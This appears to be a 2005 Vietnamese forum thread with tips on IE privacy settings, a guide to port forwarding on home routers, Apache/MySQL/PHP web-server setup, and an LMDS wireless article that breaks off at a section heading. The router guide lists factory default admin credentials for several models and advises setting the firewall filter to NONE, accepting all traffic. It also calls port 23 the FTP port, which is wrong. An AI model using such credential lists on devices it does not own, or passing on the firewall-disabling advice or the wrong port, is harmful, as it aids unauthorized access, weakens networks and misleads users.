Những trang Web "xấu tính" hay những chương trình hiểm độc có thể thay đổi trang chủ của bạn, đây có thể là nguyên nhân chính gây ra chuyển hướng tới địa chỉ URL khác. Không những thế, người sử khác có thể truy cập vào máy của bạn và có thể thay đổi những thiết lập của bạn. Chắc chắn là bạn không muốn bất cứ ai thay đổi thiết lập của bạn. Vậy phải làm cách nào đây để chặn mọi thay đổi này? Trước hết, bạn hãy đóng IE lại. Bạn hãy mở Start -> Run, gõ Regedit. Bạn duyệt cây bên trái HKEY_CURRENT_USER\Software\Policies\Microsoft\ Internet Explorer\Restrictions và tìm hoặc tạo một giá trị mới DWORD đặt tên là NoBrowserOptions. Hãy nhấn đúp chuột vào đó và nhập dữ liệu là 1. Tiếp đó, bạn tới HKEY_ CURRENT_USER\Software\ Policies\Microsoft\Internet Explorer\Control Panel, tìm hoặc tạo giá trị Homepage và nhập dữ liệu là 1. Khi bạn muốn sử dụng Internet Options hoặc thay đổi trang chủ (home page), bạn hãy tạm thay đổi hai giá trị này về 0.

Xóa Autocomplete

Khi bạn bắt đầu nhập thông tin vào một trang Web mà bật tính năng AutoComplete, bạn sẽ nhìn thấy một danh sách các giá trị nhập liệu trong trường đó, bạn có thể chọn một dòng nào đó thích hợp để tránh gõ lại. Để xem lại toàn bộ các giá trị trong trường đó mà bạn đã nhập lúc trước, bạn hãy nhấn phím mũi tên xuống. Để xóa bỏ những dữ liệu cũ, không thích hợp bạn hãy nhấn mũi tên xuống và nhấn Del.
Phóng to chữ trên thanh địa chỉ (AddressBar)

Nếu màn hình của bạn hoạt động ở độ phân giải cao, bạn sẽ thấy đọc liên kết trong thanh địa chỉ của IE thật khó. Chữ trên thanh địa chỉ sử dụng cùng một phông chữ với phông chữ biểu tượng trên Desktop. Do đó, bạn có thể thay đổi chữ trên thanh địa chỉ bằng cách thay đổi phông chữ biểu tượng trên Desktop. Bạn hãy nhấn phím phải vào Desktop và chọn Properties và chọn thẻ Appearance. Nếu bạn đang sử dụng Windows XP, bạn chọn nút Advance. Trong menu thả xuống, bạn chọn mục Icon, tiếp đó bạn chỉ cần chọn phông chữ to hơn, rõ hơn và nhấn Apply. Nếu chữ ở các biểu tượng trên Desktop đã bị cắt bớt, bạn thay đổi Icon Spacing (Horizontal) và Icon Spacing (Vertical) thành các giá trị lớn hơn.

Xóa Cookie trong IE

Cookie là nơi lưu trữ thông tin về bạn khi bạn duyệt qua một trang Web như tên, mật khẩu, sở thích, các liên kết đã duyệt qua... Cookie khá thuận tiện cho các trang Web lấy lại các thông tin cần thiết khi bạn đăng nhập. Nhưng, một số trang Web có thể sử dụng cookie để thu thập các thông tin cá nhân của bạn, một số vi rút, trojan, sâu sẽ lấy các thông tin từ các cookie này nhằm mục đích phá hoại, ăn cắp thông tin. IE cung cấp khả năng xóa bỏ cookie này. Để xóa bỏ Cookie, bạn hãy tới Tools -> Internet Options, bạn hãy nhấn vào nút Delete Cookies. và chọn Yes. Vậy là tất cả các cookie này sẽ bị xóa.

Xóa History

History là một tính năng hay của IE, History cho phép bạn duyệt các trang Web đã lướt qua từ trước nhanh chóng hơn nhờ lưu trữ các dữ liệu, liên kết, hình ảnh, văn bản trong đĩa cứng từ trước. Tuy nhiên, History có thể là "miếng mồi ngon" cho vi rút, sâu, các phần mềm quảng cáo... Chúng sẽ tìm hiểu được thói quen lướt Web của bạn, các thông tin cá nhân... từ những dữ liệu này. Để loại bỏ History, bạn vào Tools -> Internet Options, bạn chọn nút Clear History để xóa sạch History ngay lập tức. Bạn cũng có thể chọn số ngày sau đó History sẽ tự xóa các dữ liệu này.

History lưu trữ những dữ liệu History vào trong một thư mục riêng. Bạn có thể thay đổi thư mục này, hoặc đặt dung lượng ổ đĩa cứng tối đa để lưu trữ những dữ liệu tạm này. Bạn hãy vào mục Tools -> Internet Options, bạn vào mục có nhãn Temporary Internet files bạn chọn Settings. Tại đây, bạn có thể chuyển các tập tin này tới một thư mục khác, bạn chọn Move Folder, bạn kéo thanh trượt phía trên để xác định dung lượng tối đa cho History.

tk_nam
15-11-2005, 07:02 PM
Hiện nay, Internet đã và đang trở thành xu thế thời đại trong mọi tầng lớp. Cũng từ đó, nhu cầu tự đưa thông tin lên Internet của doanh nghiệp, tổ chức hay thậm chí cá nhân để quảng cáo, giới thiệu, phổ biến kiến thức ngày một lớn hơn. Không giống như các Website tĩnh của 2 năm trước, Website bây giờ đều đòi hỏi truy cập cơ sở dữ liệu lớn, sử dụng công nghệ cao... ít có nhà cung cấp hosting nào có thể đáp ứng được, mà nếu có đi chăng nữa thì một là không đầy đủ tính năng và hai là giá thành thuê cao, vượt khỏi tầm với của những tổ chức nhỏ với mong muốn phục vụ cộng đồng.


Yêu cầu hệ thống Web Server :

1 : Kết nối mạng Internet ( ADSL or Dialup )
2 : Config router
3 : Những công cụ cần thiết ( Apache SQL , PHP )

I : Kiểm Tra Và Congfig Router

muốn làm 1 websever thì điều trước tiên cần làm là mình phải kiểm tra cái router của mình nó thuộc hiệu nào sau đó Forwarding Port , sau đây Nghèo sẻ nêu ra 1 số loại router và cách Forwarding Portđể cho mấy ban tham khảo thêm

trước khi Port forwarding port , ta cũng nên tìm hiểu Port và forwarding

A : Port :

Các ứng dụng chạy trên giao thức TCP/IP mở các kết nối tới các máy tính khác sử dụng các port. Port cho phép nhiều ứng dụng tồn tại trên máy tính đơn - tất cả giao tiếp với nhau qua giao thức TCP/IP. Các port là một tập hợp các con số , đứng sau địa chỉ IP. Các ứng dụng thường ẩn các port này để giảm tính phức tạp của giao thức TCP/IP. Ví dụ: dịch vụ HTTP tồn tại trên port mặc định là port 80. Để tìm kiếm website, ta gõ vào browser http://www.homenethelp.com:80. Port 80 là port mặc định cho giao thức HTTP vì thế có thể không cần thiết phải gõ vào. Có tất cả 65535 port sẵn có.


B : Port forwarding

Các router hoặc các ứng dụng NAT khác (chẳng hạn như ICS) tạo ra firewall giữa mạng trong của bạn và mạng internet. Một firewall sẽ giữ lại lưu lượng không mong muốn từ mạng internet vào mạng LAN của bạn. Một đường hầm (tunnel) có thể được tạo ra xuyên qua firewall của bạn vì thế các máy tính trong mạng Internet có thể giao tiếp với một trong những máy tính trong mạng LAN của bạn thông qua một port đơn. Điều này rất thuận tiện cho việc chạy Web server, game server, ftp server, thậm chí cả video conferencing. Việc tạo ra tunnel này được gọi là Port Forwarding. Một số máy tính của bạn sẽ chạy web server (port 80) trong khi các máy tính khác có thể chạy ftp server (port 23) trên cùng một địa chỉ IP.

Port forwarding có thể khó cấu hình nhưng nó cung cấp một phương pháp an toàn để chạy máy chủ trong firewall. Tóm lại port forwarding cho phép bạn chạy nhiều loại máy chủ trên các máy tính khác nhau trong mạng LAN.


II : User và pass mặc định Các loại Router

Sở dĩ ở đây đưa ra các loại router và pass mặc định của nó , là vì các bạn sẻ gặp khó khăn trong vấn để user và pass của router

1 : Speed Touch

Bạn mở trình duyệt IE lên và gỏ vào địa chỉ IP của router này là : http://10.0.0.138 ( loại router này thì không cần user và pass , nghèo cũng đang sử dụng loại này )
sau khi kết nối vào router này , bạn hảy nhìn góc bên trái của màn hình có chữ Advanced Click vào chữ này , bạn sẻ thấy hiện ra 1 khung nữa, Click tiếp vào NAPT bây giờ thì Click vào New chọn giao thức cho port mà bạn muốn chuyển tiếp sử dụng thanh Protocol ( theo nghèo thì chọn TCP ) trong hộp thoại Inside Port gỏ vào port mà bạn cần chuyển đến
Trong hộp thoại Insite IPbạn gỏ vào cái địa chỉ IP mà cái máy bạn muốn làm websever ( muốn kiểm tra địa chỉ IP của máy mình các bạn vào star==>run===>cmd gỏ lenh ipconfig
dòng :

IP Address : Là địa chỉ IP của bạn

Default Gateway : Là địa chỉ ip của Router

còn trong hộp thoại outside IP thì bạn nên để mặc đinh cho nó là : 0.0.0.0
Click vào nút Apply ở ngay bên dưới , và bây giờ quan sát thấy cấu hình vừa được tạo ra trong bảng phía trên

2 : SmartAT MX 800

mở trình duyệt IE lên Gõ địa chỉ IP của router này vào http://192.168.1.1 cái router này nó yêu cầu nhập user và pass nè

User : admin
Pass : admin
( đây là pass mặc định của loại user này )
sau khi loginv ào router này bạn sẻ thấy nó lung tung , nhưng không sao cả , nhìn vào màn hình bên tay trái click vào Other Settings 1 khung mới sẻ xuất hiện click chuột vào link NAT Click chuột tiếp vào nút Add để bổ sung rule mới Trong mục rule type bạn chọn Redirect trong hộp thoại Protocol bạn nên chọn là TCP trong mục Local IP gõ vào địa chỉ IP để chuyển tiếp port tới. Đây sẽ là địa chỉ IP của máy tính có phần mềm yêu cầu portforwarding nói nôm na thế này cho dể hiểu là IP của máy bạn mún cài websever đó mà

Trong hộp thoại Global Address From và Global Address To nên gõ vào các số 0. Trong hộp thoại Destination Port From và Destination Port To chọn chọn Any other port Nếu bạn đang chuyển tiếp tới một port đơn, đánh số port đấy vào Destination Port From và Destination Port To. Nếu bạn chuyển tiếp một vùng port, đánh số port nhỏ nhất của vùng vào trường Destination Port From. Sau đó đánh số port lớn nhất của vùng vào Destination Port To. Click vào Submit để kết thúc quá trình cấu hình này.
Trong menu bên trái màn hình click vào link Advanced Function. Trong này sẽ có các menu con, click vào link IP Filter

3. ADE-3000 Router


Mở trình duyệt IE lên gỏ vào địa chỉ IP http://10.0.0.2 , nó sẻ yêu cầu bạn nhập user và pass , mặc định user và pass của router này là :
user : admin
pass : conexant
đăng nhập vào router , các bạn nhìn bên trái của màn hình sẻ thấy chử Virtual Server , click vào nó trong ô Public Port là port mà bạn cần forward ô Private Port cũng như vậy ( có nghĩa là 2 ô này bạn điền port giống nhau ) ô Port Type lựa chọn loại giao thức sử dụng ( ở đây nghèo chọn TCP )
trong ô Host IP Address gỏ vào cái địa chỉ IP máy tính của bạn
sau đó ần vào Add This Setting hoặc là sumit gì gì đó
Edd port xong rồi thì click vào Save settings để hoàn tất quá trình

4. ZOOM X4

Mở trình duyệt IE lên gỏ vào địa chỉ IP http://10.0.0.2 , user và pass mặc định của loại router này là :
user : admin
pass : zoomadls

login vào router , Click vào nút Advanced Setup Click tiếp vào NAT trong hộp NAT Options, chọn NAT Rule Entry Click chuột vào nút Add trong hộp Rule Flavor chọn RDR Điền số thứ tự vào Rule ID , Trong ô IF Name chọn All Tại ô Protocol chọn Any
Gõ địa chỉ IP vào cả hai ô Local Address From và Local Address To ( đây là địa chỉ IP của máy tính bạn muốn làm websever )
Điền các số 0 0 0 0 vào cả hai ô Global Address From và Global Address To điền port mà bạn cần forwar vào ô Destination Port From Destination Port To và Local Port
sau đó thì livk vào Save changes đề kết thúc

để ghi lại thay đổi của router này bạn Click vào Advanced Setup click tiếp vào IP Filter
trong ô Security Level chọn NONE
Trong ô Private Default Action, Public Default Action và DMZ Default Action chọn Accept
sau đó click vào sumit để kết thúc

5. ZOOM X5

Mở trình duyệt IE lên gỏ vào trình duyệt http://10.0.0.3 nó sẻ yêu cầu nhập user và pass

user : admin
pass : zoomadsl
login vào router , click vào Advanced Setup click tiếp vào Virtual Server Trong ô ID gõ vào số hiệu ID chưa sử dụng , trong ô Public Port gỏ vào port mà bạn cần FW ô private port cũng như vậy , nói chung là 2 ô này gỏ port cần FW giống nhau , ô Port Type chọn giao thức TCP ô Host IP Address gỏ vào địa chỉ ip máy của bạn
Clicl vào Add This Settings để hoàn tất và xem cấu hình bạn vua72 Fw , sau đó Click vào Write Settings to Flash and Reboot để lưu lại cáu hình bạn vừa làm và khởi động lại router

6. The ZyXel

Mở trình duyệt IE lên gỏ vào http://192.168.1.1 nó yêu cầu nhập user và pass
user : admin
pass : 1234

login vào router Click chuột vào NAT Click chuột vào tuỳ chọn Edit Detail kề bên cạnh SUA Only
Gõ vào hộp thoại Start Port No số hiệu port nhỏ nhất và hộp thoại End Port No số hiệu port lớn nhất mà bạn muốn chuyển tiếp đi , hộp thoại IP Address điền vào địa chỉ IP máy tính của bạn cần làm websever , Click vào Save để ghi lại cấu hình vừa thiết lập. Sau đó bạn sẽ quay trở lại menu NAT Settings. Quay về đầu và click chuột vào nút Apply để kết thúc

7. SpeedStream 5100

Mở trình duyệt IE gỏ vào http://192.168.254.254 nhập user và pass

user : username
pass : password

login vào router , khi login xong , tren menu chính click vào nút Login trong ô user name chọn Admin ô password , gỏ password , click vào nút ok để quay trở lại menu chính , Click vào nút setup sau đó click tiếp vào nút Portforwarding.
Kiểm tra xem tại hộp thoại Select service by name các dịch vụ mà bạn muốn chuyển tiếp đã được liệt kê hay chưa. Lựa chọn dịch vụ mà bạn muốn chuyển tiếp, sau đó click chuột vào nút Redirect selected protocol/service to ip address. Trong hộp thoại này gõ vào địa chỉ IP mà bạn muốn chuyển tiếp (forward) tới. Click vào nút Apply để ghi lại cấu hình.

Trong trường hợp bạn không tìm thấy dịch vụ mà mình muốn chuyển tiếp trong hộp thoại Select service by name thì lựa chọn giao thức, sử dụng thanh cuộn Select protocol. Sau đó gõ vào hộp thoại TCP/UDP port(s) vùng port mà bạn muốn chuyển tiếp. Số hiệu port nhỏ nhất điền vào ô bên trái, số hiệu port lớn nhất điền vào ô bên phải. Click chuột vào nút Redirect selected protocol/service to ip address. Gõ vào địa chỉ IP mà bạn muốn chuyển tiếp dịch vụ này tới. Đây sẽ là địa chỉ IP của máy tính có phần mềm yêu cầu portforwarding. Click vào nút Apply để ghi lại cấu hình.

Vậy là xong bước kiểm tra và config router , cũng coi như là xong 1 nữa rồi
Bài sau sẽ tìm hiểu về apache mysql và php

tk_nam
15-11-2005, 07:02 PM
Với sự bùng nổ ADSL như hiện nay người dùng có cơ hội được truy cập Internet tốc độ cao, giá rẻ. Ngoài những ứng dụng web thông thường của Internet như duyệt web, email, chat,...các bạn có thể xây dựng mô hình máy chủ lưu trữ web cho các ứng dụng văn phòng và thông tin cá nhân. Việc thiết lập máy chủ lưu trữ web tại văn phòng hoàn toàn đơn giản nhờ các phần mềm miễn phí và thêm một chút kiến thức về cấu hình máy chủ web sẽ được hướng dẫn dưới đây giúp bạn mở cánh cửa khai thác ứng dụng Internet một cách hiệu quả nhất

(Xem phần I: Hướng dẫn tạo máy chủ lưu trữ Web tại nhà bạn hoặc văn phòng - Phần I)

I : Cài Đặt Apache

Muốn cài đặt Apache thì ta phải download Apache về các bạn có thể tải Apache về tại đĩa chỉ http://www.apache.org , các bạn nhớ chú ý chọn phiên bản cho đúng nhé sau khi tải Apache về xong chúng ta tiến hành cài đặt nó Click vào file mới download về 1 hộp thoại sẻ hiện ra , click tiếp vào Next chọn mục

I accept the terms in the license agreement và nhấn Next và tiếp tục Next 1 lần nữa , trong hộp thoại Networl Domain và Server Name các bạn điền localhost điền admin@localhost vào hộp thoại Aministrator's Email Address Click Next để tiếp tục , chọn Custom và tiếp tục bây giờ sẻ xuất hiện 1 của sổ mới , chọn thư mục để cài đặt apache, muốn để đâu củng được cả, nhưng mặc định của nó là C:\Program Files\Apache Group. bây giờ Apache sẻ tự động cài đặt, công việc của bạn sẻ là ngồi đợi cho đến khi kết thúc và sau khi Apache cài xong các bạn nên reset lại máy của mình
A : Chạy thử Apache

Mở trình duyệt IE lên gỏ vào http://localhost , nếu như nhận được màn hình chào đón của apache thì coi như là bạn đã thành công khi cài đặt apache rồi đó

II : Cài đặt Mysql

Trước hết tải Mysql về cái đã , các bạn có thể tải Mysql về từ địa chỉ

http://www.mysql.com/downloads/index.html

Sau khi download mySQL về, các bạn unzip các file vào một thư mục nào đó và chạy file setup.exe để bắt đầu cài đặt , nhấn Next 2 lần đến đây thì bạn chọn thư mục cho sql để đâu tùy các bạn , mặc định của nó sẻ là C:\mysql , nhấn Next để sang bước tiếp và nhấn next nữa để cài đặt mysql , sau khi cài đặt xong mysql thì các bạn chạy file winmysqladmin.exe trong thư mục C:\mysql\bin , nếu như đây là lần đầu tiên bạn chạy file này thì nó sẻ yêu câu bạn thiết lập user và pass , nhung nếu bạn đả chạy 2 , 3 hay nhiều lần thì sẻ không có bước này , nhập vào user và pass gì cũng được ( nhưng phải nhớ à nha ), sau khi hoàn thành bước này các bạn nhìn xuống bên góc phải của màn hình nó sẻ có 1 cải bảng hiệu giống như đèn xanh đèn đỏ đèn vàng của giao thông đường phố.
Chú ý : nếu cột đèn xanh bật lên thì coi như bạn thành công việc cài đặt Mysql , còn nếu như đèn đỏ bật lên thì đả có vấn đề , nên remove và cài lại
Cài đặt PHP và cấu hình để chạy Websever

Trước hết phải tải PHP về đã nếu bạn thích download ngay lập tức thì tải về tại đây
http://fr.php.net/distributions/php-5.0.5-Win32.zip, còn nếu không thích vậy thì xin mới vào
http://www.php.net/get/php-5.0.5-Win32.zip/from/a/mirror
để chọn

Sau khi tải php về xong bạn unzip nó ra tại 1 foder nào đó ( theo Ngheo thì các bạn nên tạo 1 foder riêng để chứa mysql php và apache để tiện cho việc quản lý sau này ) bạn nên open 1 foder trong ổ C hay D tùy ý để chứa website của bạn, trong trường hợp của tôi , thì tôi open 1 foder tại ổ C và đặt tên cho nó là Web ( C:\Web ) để tiện việc quản lý

Khi unzip nó ra xong bạn tiến hạnh làm các bước như sau

1. Mở Files httpd.conf của apache ( Apache2\conf\httpd)
Tìm dòng DirectoryIndex index.html index index.html.var thay bằng dòng DirectoryIndex index.html index.php index.html.var. Tìm tiếp dòng DocumentRoot =C:\thu mục cài đặt của bạn \Apache Group\htdocs sửa nó lại thành DocumentRoot = "c:/thư mục chứa website của bạn /". Cũng trong file này bạn thêm đoạn code này vào dưới cùng
LoadModule php5_module "c:/php5/php5apache2.dll"
AddType application/x-httpd-php .php

# configure the path to php.ini
PHPIniDir "c:/php5"
Lưu ý : Các bạn nên chú ý thư mục cài đặt php của mình mà sửa đường dẫn cho đúng. Tiếp theo, bạn vào thư mục vừa unzip thằng php đổi tên của file php.ini-recommended thành php.ini và chỉnh sửa lại file này mở nó ra tìm dòng extension_dir sửa thành extension_dir = "c:/php5/ext/"

Chú ý: Nên nhớ là đường dẩn vào thư mục của php , các bạn phải ghi cho đúng nhé

Tìm tiếp ;extension=php_mysql.dll bỏ dấu ; ở phía trước của nó như vậy nó sẽ là extension=php_mysql.dll sau đó copy file libmysql.dll vô thư mục system32 của windows. Mọi việc đã hoàn thành bạn Reset lại Apache

Muốn kiểm tra cho chắc là php đả ok chưa thì bạn tạo 1 file test.php có nội dung như sau
<?
phpinfo();
?>
và lưu nó vào thư mục chứa Website của bạn. Bật trình duyệt IE lên gõ vào http://localhost/test.php
Bây giờ bạn chỉ cần cài tiếp phpmyadmin để quản lý nữa là xong


Cài phpmyadmin

Các bạn có thể tải phpmyadmin về từ địa chỉ
http://sourceforge.net/project/showfiles.p...elease_id=63838

Sau khi tải về xong các bạn unzip nó ra cho nó vào thư mục chứa Website của bạn, sau đó mở file config.inc.php

Tìm dòng $cfg['Servers'][$i]['host'] sửa nó thành $cfgServers[$i]['host'] = 'localhost'. Tìm tiếp $cfgServers[$i]['user']sửa thành $cfgServers[$i]['user'] = 'root'

Root là username mà bạn đả tạo khi cài đặt mysql

Tìm dòng $cfgServers[$i]['password'], sửa thành $cfgServers[$i]['password'] = 'password' pass là mật mã mà bạn đạ tạo khi cài mysql.

Ok như vậy là đã xong tất cả các bước làm 1 Websever khi có mạng rồi , chúc các bạn thành công
Nếu như các bạn không có Domain thì các bạn có thể vào http://dyndns.org đăng ký 1 cái account rồi cập nhật ip của mình vào site này cách làm như sau

Cách đăng ký ở dyndns.org :

1 : Vào http://dyndns.org để đăng 1 tài khoản
2 : Vào địa chỉ Email để kích hoạt tài khoản
3 : Khi login vào, bạn nhìn sang menu bên trái và nhấn vào "My Services".

Nhấn vào "Add Host Services" ----> chọn "Add Dynamic DNS Host" còn lại thì bỏ qua hết.
Trang web sẽ cung cấp các domain dạng: www.tên_của_bạn.xxxxxxxxxx.com trong đó xxxxxxxxxxxx sẽ do trang web này cung cấp sẵn cho bạn. Bạn để ý cái IP Address, cái này chính là IP hiện thời của bạn (tất nhiên là IP động rồi). Khi bạn chọn xong thì nhấn vào nút Add host.

Tất cả công việc đã xong, việc cuối cùng của bạn là mở Command Prompt ra và ping đến cái domain mà bạn vừa chọn. Nếu có Reply thì ok, chúc mừng bạn đã đăng ký thành công

Mỗi lần online bạn nên vào http://dyndns.org để cập nhật IP của mình để cho ngừoi khác có thể load đựoc website của bạn có dạng http://tenban.xxx.com công việc này chỉ mất có vài phút

Còn nếu không thích vậy thì bạn tải 1 Tools tự cập nhật IP cho mình down load Tools này tại http://www.kanasolution.com/download.php

Ngoài dyndns.org bạn có thể tìm thêm các trang web miễn phí dùng DNS động để cập nhật IP của mình bằng cách vào trang Google.com gõ cụm từ khóa "free dynamic DNS" bạn sẽ có hàng trăm website miễn phí DNS động

Xem phần I: Hướng dẫn tạo máy chủ lưu trữ Web tại nhà bạn hoặc văn phòng - Phần I

Chúc các bạn thành công

tk_nam
15-11-2005, 07:05 PM
LDMS hiện đang là công nghệ hết sức mới trong lĩnh vực thông tin không dây băng tần không đổi. Cấu trúc dạng cell, tốc độ truyền số liệu cao, và đặc biệt là tính linh hoạt của nó, công nghệ này hoàn toàn đáp ứng được các yêu đối với truyền dẫn đa dịch vụ, truyền hình số và các dịch vụ tương tác.

Hiện nay có rất nhiều các nghiên cứu về kiểu truyền tín hiệu đa dịch vụ băng rộng. Gần đây, xuất hiện một số các đề xuất về việc thực hiện UDP/TCP/IP và các dịch vụ số liệu khác dựa trên cơ sở nền tảng LMDS. Trong bài báo này sẽ xem xét việc thực hiện chuẩn giao thức truyền số liệu TCP/IP trên nền LMDS hai lớp. Lưu ý là có một số bài báo chỉ nhấn mạnh và giới hạn khả năng của công nghệ LMDS đối với truyền tín hiệu đa dịch vụ và ATM. Điều này là không đúng bởi hiện nay ứng dụng thu hút được nhiều sự quan tâm đối với công nghệ LMDS đó là việc truyền các dịch vụ số liệu, Internet và tín hiệu Multimedia. Bài báo này sẽ giới thiệu một cấu trúc điển hình của công nghệ LMDS-IP hai lớp đã được triển khai thử nghiệmt vả tặn1996 đến nay.

1. Giới thiệu

Dịch vụ phân phối đa điểm theo vùng LMDS (Local Multipoint Distribution Service) là một giải pháp cho mạng truy nhập không dây băng rộng BWA (Broadband Wireless Access). Đây là một kỹ thuật truy nhập theo kiểu tế bào (cell) dùng cho các ứng dụng truyền số liệu tốc độ cao. Trong nhiều trường hợp, khi áp dụng phương pháp truy nhập này đã giải quyết được bài toán về cả mặt kỹ thuật cũng như kinh tế [1]. Băng tần sử dụng ở đây là mili mét, điển hình là các băng tần 28, 38 và 40GHz. Tuy nhiên, trên thực tế các băng tần khác cũng có thể được sử dụng. Vì thế tốc độ truyền số liệu hữu ích của người sử dụng có thể lên đến 38Mb/s. Ngoài ra, với việc sử dụng băng thông rộng, công nghệ này còn cho phép truyền các loại tín hiệu của nhiều dịch vụ khác nhau như truyền hình số, Internet và số liệu tốc độ cao, truyền hình tương tác, nghe nhạc và loại hình đa dịch vụ Multimedia. Công nghệ LMDS hoàn toàn có thể thay thế cho các giải pháp dùng cáp hữu tuyến như đường dây thuê bao số (xDSL) cho hộ gia đình và các doanh nghiệp nhỏ. Đây là mô hình đạt được hiệu quả rất cao về kinh tế, đặc biệt trong trường hợp cần yêu cầu triển khai nhanh ở những vùng trong thành phố hay các vùng dân cư thưa.

LMDS có hai mô hình chính là: mô hình một lớp và mô hình hai lớp. Nhược điểm của mô hình một lớp trước đây đó là việc sử dụng tần số truyền dẫn ở dải mili mét trong tầm nhìn thẳng LOS (Line Of Sight), nên mô hình này chỉ phù hợp đối với các toà nhà cao tầng hay các vùng ngoại ô. Trong những môi trường truyền dẫn khắc nghiệt thì yêu cầu phải có thêm các bộ lặp và các gương phản xạ tín hiệu. Trong khi đó, mô hình của cấu trúc hai lớp tỏ ra linh hoạt hơn, trong khi đó vẫn đảm bảo được các yêu cầu về lưu lượng và dung lượng đối với các dịch vụ Internet. Hai cấu trúc này đã được kiểm tra và so sánh trong bài báo [2]. Hiện nay, hệ thống LMDS một lớp đã được thực hiện ở dải băng tần 28GHz tại Bắc Mỹ và 40GHz tại Châu Âu. Phần lớn trên thế giới đã thừa nhận hai dải tần số này và coi như là chuẩn cho các ứng dụng trong công nghệ LMDS. Tuy nhiên, xu thế hiện nay đang tập trung vào nghiên cứu và triển khai hệ thống LMDS hai lớp. Trong khuôn khổ bài báo này cũng sẽ chỉ đề cập đến các vấn đề trong công nghệ LMDS hai lớp.

2. Cấu trúc hệ thống

Cấu trúc điển hình của LMDS hai lớp được biểu diễn trên hình 1 (Tham khảo tại Tạp chí Bưu chính Viễn thông kỳ II - Infoworld tháng 1/2005). Các Macrocell làm việc tại băng tần 28/40GHz, với bán kính cell thay đổi trong khoảng từ 1-5Km. Các Macrocell này sẽ tạo nên mạng lõi của hệ thống MLDS, và được biết đến như là thành phần MLDS truyền thống trước đây. Các Macrocell lại được chia nhỏ ra thành các Microcell, làm việc ở băng tần thấp hơn, thường là 5 hoặc 17GHz. Ta nên lưu ý rằng, về nguyên tắc, các tần số khác (khi đã đăng ký) hoàn toàn có thể sử dụng được trong các Macrocell và Microcell. Trên thực tế, băng tần 3,5GHz đã được sử dụng ở một số thương phẩm. Bán kính của Microcell có thể dao động trong khoảng từ 50-500m. Có rất nhiều ưu điểm khi phân chia người sử dụng ra theo các Microcell. Ví dụ như, với tần số thấp thì sẽ không cần quan tâm đến vấn đề truyền sóng trong tầm nhìn thẳng LOS. Thêm nữa, giá thành thiết bị của người sử dụng cũng sẽ giảm nếu làm việc ở dải tần số thấp, và đặc biệt là không cần phải sử dụng các anten đĩa siêu cao tần để thu nhận tín hiệu.

Băng tần làm việc của hệ thống được cố định đối với Macrocell là từ 40,5-42,5GHz và đối với Microcell là từ 5,725GHz-5,875GHz[12]. Các trạm phát gốc ở các Macrocell sử dụng các anten phát đã được Sector hoá với góc phân hướng là 900, kết hợp với phương pháp đa truy nhập phân kênh theo thời gian và tần số (FDMA/TDMA). Còn đối với các Microcell sử dụng kiểu truyền dẫn TDMA trên cơ sở đa truy nhập phân chia theo mã (DS-CDMA), tương tự như trong mạng cục bộ không dây (WLAN).

Trên thực tế, các nghiên cứu đã chỉ ra rằng công nghệ CDMA hoàn toàn không hiệu quả về dung lượng cũng như tính kinh tế nếu sử dụng trong Macrocell (vì nếu sử dụng thì yêu cầu về băng thông trải phổ rất rộng, đồng thời những tính năng ưu việt của DS-CDMA sẽ bị giới hạn bởi thông tin tầm nhìn thẳng ở tần số làm việc 40GHz). Có hai phương pháp chính để người sử dụng có thể thực hiện việc truy nhập mạng: truy nhập vô tuyến trực tiếp tới các Macrocell ở băng tần 40GHz, hoặc là thông qua các Microcell ở dải tần thấp hơn.

3. Tuyến truyền hướng xuống

Với một tuyến truyền xuống xác định, theo cách phân chia của CEPT thì sẽ có 50 kênh với độ rộng băng tần của mỗi kênh là 39MHz. Việc chọn lựa này dựa trên cơ sở sóng mang đơn tại tần số 40GHz của hệ thống truyền hình số quảng bá qua vệ tinh (DVB-S)[2,3]. Khi đó, người sử dụng nếu không nằm trong khu vực phủ sóng của Microcell có thể dùng các bộ thu vệ tinh giá rẻ để kết nối vào mạng LMDS ở tần số 40GHz. Ngoài ra, nếu chọn lựa theo chuẩn DVB, đồng nghĩa với việc chọn lựa kiểu điều chế QPSK hoặc là OFDM, khi đó thuận lợi là có thể sử dụng toàn bộ các công nghệ đã có sẵn, đặc biệt là các chip đã được thiết kế cho truyền hình số. Trong thực tế, mỗi một kênh 39MHz có thể cho phép truyền với tốc độ bit 38Mb/s. Tuy nhiên, phần lớn người sử dụng không dùng đến tốc độ truyền số liệu cao như vậy, vì thế dòng số liệu của nhiều người sử dụng khác nhau sẽ được ghép lại trên một kênh truyền. Thông thường, mỗi kênh sẽ ghép khoảng từ 1-20 người sử dụng, với tốc độ dòng số liệu theo hướng xuống thay đổi từ 1,9 đến 38Mb/s. Kết hợp với việc sector hoá hệ thống anten theo góc 900, khi đó tốc độ bit tổng trong mỗi Macrocell có thể lên đến 7,6Gb/s. Vì thế, đôi khi còn gọi LMDS là hệ thống truy nhập vô tuyến Gigabit. Để đơn giản, hệ thống đề cập ở đây sử dụng kiểu điều chế QPSK, tuy nhiên trong các thí nghiệm và mô phỏng các kiểu điều chế QPSK hoặc là 16-QAM kết hợp với OFDM có thể được sử dụng để nâng cao dung lượng dòng bit. Bằng cách này, cho phép tăng tốc độ truyền dẫn lên mà không làm ảnh hưởng đến chất lượng hay bán kính của cell.

Do sự khắc nghiệt về môi trường trong truyền dẫn vô tuyến, nên việc chia thành các Microcell đồng thời kết hợp với các bộ điều chế OFDM băng thông 8MHz ở các trạm phát gốc là hết sức cần thiết, đặc biệt là đối với các ứng dụng di động. Tín hiệu OFDM được truyền ở tần số 28/40GHz đến các bộ lặp vùng LR (Local Repeater). Tại đây, tín hiệu được chuyển đổi sang dải tần 5,8GHz và được truyền đi bằng các đường vô tuyến DS-CDMA. Như vậy, đối với tuyến truyền xuống, bộ lặp vùng làm việc như một Transponder của dòng bit thông tin. Việc sử dụng kỹ thuật điều chế OFDM, thậm chí không cần dùng kỹ thuật DS-CDMA là hết sức hợp lý bởi tính đơn giản (dễ cân bằng), độ ổn định và khả năng cung cấp dung lượng lớn.

4.Tuyến truyền hướng lên

